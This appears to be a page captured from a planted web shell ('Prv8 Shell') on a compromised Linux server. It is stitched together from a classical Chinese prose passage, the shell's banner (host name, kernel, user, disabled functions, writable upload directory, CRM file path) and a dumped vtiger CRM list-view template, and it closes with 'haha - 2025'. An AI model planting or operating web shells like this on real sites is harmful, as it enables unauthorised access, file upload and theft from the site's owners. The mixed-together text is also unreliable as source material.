晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/www/crm/layouts/vlayout/modules/Portal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/akaindir/www/crm/layouts/vlayout/modules/Portal/ListViewContents.tpl
{*<!--
/*********************************************************************************
** The contents of this file are subject to the vtiger CRM Public License Version 1.0
 * ("License"); You may not use this file except in compliance with the License
 * The Original Code is:  vtiger CRM Open Source
 * The Initial Developer of the Original Code is vtiger.
 * Portions created by vtiger are Copyright (C) vtiger.
 * All Rights Reserved.
*
 ********************************************************************************/
-->*}
{strip}
        <input type="hidden" id="pageNumber" value="{$CURRENT_PAGE}">
        <input type="hidden" id="totalCount" value="{$PAGING_INFO['recordCount']}" />
        <input type="hidden" id="totalPageCount" value="{$PAGING_INFO['pageCount']}" />
        <input type="hidden" id="recordsCount" value="{$PAGING_INFO['recordCount']}"/>
        <input type="hidden" id="selectedIds" name="selectedIds" />
        <input type="hidden" id="excludedIds" name="excludedIds" />
        <input type="hidden" id="alphabetValue" value="{$ALPHABET_VALUE}" />
        <input type="hidden" id="pageStartRange" value="{$PAGING_INFO['startSequence']}" />
        <input type="hidden" id="pageEndRange" value="{$PAGING_INFO['endSequence']}" />
        <input type="hidden" id="previousPageExist" {if $CURRENT_PAGE neq 1}value="1"{/if} />
        <input type="hidden" id="nextPageExist" value="{$PAGING_INFO['nextPageExists']}" />
        <input type="hidden" id="pageLimit" value="{$PAGING_INFO['pageLimit']}" />
        <input type="hidden" id="noOfEntries" value="{$PAGING_INFO['recordCount']}" />
        {assign var = ALPHABETS_LABEL value = vtranslate('LBL_ALPHABETS', 'Vtiger')}
        {assign var = ALPHABETS value = ','|explode:$ALPHABETS_LABEL}

        <div class="alphabetSorting noprint">
            <table width="100%" class="table-bordered" style="border: 1px solid #ddd;table-layout: fixed">
                <tbody>
                    <tr>
                    {foreach item=ALPHABET from=$ALPHABETS}
                        <td class="portalAlphabetSearch textAlignCenter cursorPointer {if $ALPHABET_VALUE eq $ALPHABET} highlightBackgroundColor {/if}" style="padding : 0px !important"><a id="{$ALPHABET}" href="#">{$ALPHABET}</a></td>
                    {/foreach}
                    </tr>
                </tbody>
            </table>
        </div>
        <div id="selectAllMsgDiv" class="alert-block msgDiv noprint">
            <strong><a id="selectAllMsg">{vtranslate('LBL_SELECT_ALL',$MODULE)}&nbsp;{vtranslate($MODULE ,$MODULE)}&nbsp;(<span id="totalRecordsCount"></span>)</a></strong>
        </div>
        <div id="deSelectAllMsgDiv" class="alert-block msgDiv noprint">
            <strong><a id="deSelectAllMsg">{vtranslate('LBL_DESELECT_ALL_RECORDS',$MODULE)}</a></strong>
        </div>
        <div class="contents-topscroll noprint">
            <div class="topscroll-div">
                &nbsp;
             </div>
        </div>
        <div class="listViewContentDiv" id="listViewContents">
            <div class="listViewEntriesDiv contents-bottomscroll">
                <div class="bottomscroll-div">
                    <input type="hidden" value="{$COLUMN_NAME}" id="orderBy">
                    <input type="hidden" value="{$SORT_ORDER}" id="sortOrder">
                    <span class="listViewLoadingImageBlock hide modal noprint" id="loadingListViewModal">
                        <img class="listViewLoadingImage" src="{vimage_path('loading.gif')}" alt="no-image" title="{vtranslate('LBL_LOADING', $MODULE)}"/>
                        <p class="listViewLoadingMsg">{vtranslate('LBL_LOADING_LISTVIEW_CONTENTS', $MODULE)}........</p>
                    </span>
                    {assign var=WIDTHTYPE value=$CURRENT_USER_MODEL->get('rowheight')}
                    <table class="table table-bordered listViewEntriesTable">
                        <thead>
                            <tr class="listViewHeaders">
                                <th width="5%">
                                    <input type="checkbox" id="listViewEntriesMainCheckBox" />
                                </th>
                                <th nowrap>
                                    <a href="javascript:void(0);" id="portalname" class="portalListViewHeader" 
                                       data-nextsortorderval="{if $COLUMN_NAME eq 'portalname'}{$NEXT_SORT_ORDER}{else}ASC{/if}">{vtranslate('LBL_BOOKMARK_NAME', $MODULE)}
                                        &nbsp;&nbsp;{if $COLUMN_NAME eq 'portalname'}<img class="{$SORT_IMAGE} icon-white">{/if}</a>
                                </th>
                                <th nowrap>
                                    <a href="javascript:void(0);" id="portalurl" class="portalListViewHeader"
                                       data-nextsortorderval="{if $COLUMN_NAME eq 'portalurl'}{$NEXT_SORT_ORDER}{else}ASC{/if}">{vtranslate('LBL_BOOKMARK_URL', $MODULE)}
                                        &nbsp;&nbsp;{if $COLUMN_NAME eq 'portalurl'}<img class="{$SORT_IMAGE} icon-white">{/if}</a></a>
                                </th>
                                <th nowrap>
                                    <a href="javascript:void(0);" id="createdtime" class="portalListViewHeader"
                                       data-nextsortorderval="{if $COLUMN_NAME eq 'createdtime'}{$NEXT_SORT_ORDER}{else}ASC{/if}">{vtranslate('LBL_CREATED_ON', $MODULE)}
                                        &nbsp;&nbsp;{if $COLUMN_NAME eq 'createdtime'}<img class="{$SORT_IMAGE} icon-white">{/if}</a></a>
                                </th>
                                <th nowrap class="{$WIDTHTYPE}"></th>
                            </tr>
                        </thead>
                        <tbody>
                            {foreach item=LISTVIEW_ENTRY key=RECORD_ID from=$LISTVIEW_ENTRIES}
                                <tr class="listViewEntries" data-id="{$RECORD_ID}" data-recordurl="index.php?module=Portal&view=Detail&record={$RECORD_ID}">
                                    <td width="5%" class="{$WIDTHTYPE}">
                                        <input type="checkbox" value="{$RECORD_ID}" class="listViewEntriesCheckBox" />
                                    </td>
                                    <td class="listViewEntryValue {$WIDTHTYPE}" nowrap>
                                        <a href="index.php?module=Portal&view=Detail&record={$RECORD_ID}" sl-processed="1">{$LISTVIEW_ENTRY->get('portalname')}</a>
                                    </td>
                                    <td class="listViewEntryValue {$WIDTHTYPE}" nowrap>
                                        <a class="urlField cursorPointer" href="{if substr($LISTVIEW_ENTRY->get('portalurl'), 0, 4) neq 'http'}//{/if}{$LISTVIEW_ENTRY->get('portalurl')}" target="_blank" sl-processed="1">{$LISTVIEW_ENTRY->get('portalurl')}</a>
                                    </td>
                                    <td class="listViewEntryValue {$WIDTHTYPE}" nowrap>{$LISTVIEW_ENTRY->get('createdtime')}</td>
                                    <td nowrap class="{$WIDTHTYPE}">
                                        <div class="actions pull-right">
                                            <span class="actionImages">
                                                <i title="{vtranslate('LBL_EDIT', $MODULE)}" class="icon-pencil alignMiddle editRecord"></i>&nbsp;
                                                <i title="{vtranslate('LBL_DELETE', $MODULE)}" class="icon-trash alignMiddle deleteRecord"></i>
                                            </span>
                                        </div>
                                    </td>
                                </tr>
                            {/foreach}
                        </tbody>
                    </table>
                    {if $PAGING_INFO['recordCount'] eq '0'}
                        <table class="emptyRecordsDiv">
                            <tbody>
                                <tr>
                                    <td>
                                        {vtranslate('LBL_EQ_ZERO')} {vtranslate('LBL_BOOKMARKS', $MODULE)} {vtranslate('LBL_FOUND')}. {vtranslate('LBL_CREATE')} <a class="addBookmark">{vtranslate('LBL_BOOKMARK', $MODULE)}</a>
                                    </td>
                                </tr>
                            </tbody>
                        </table>
                    {/if}
                </div>
            </div>
        </div>
    </div>
    </div>
{/strip}

haha - 2025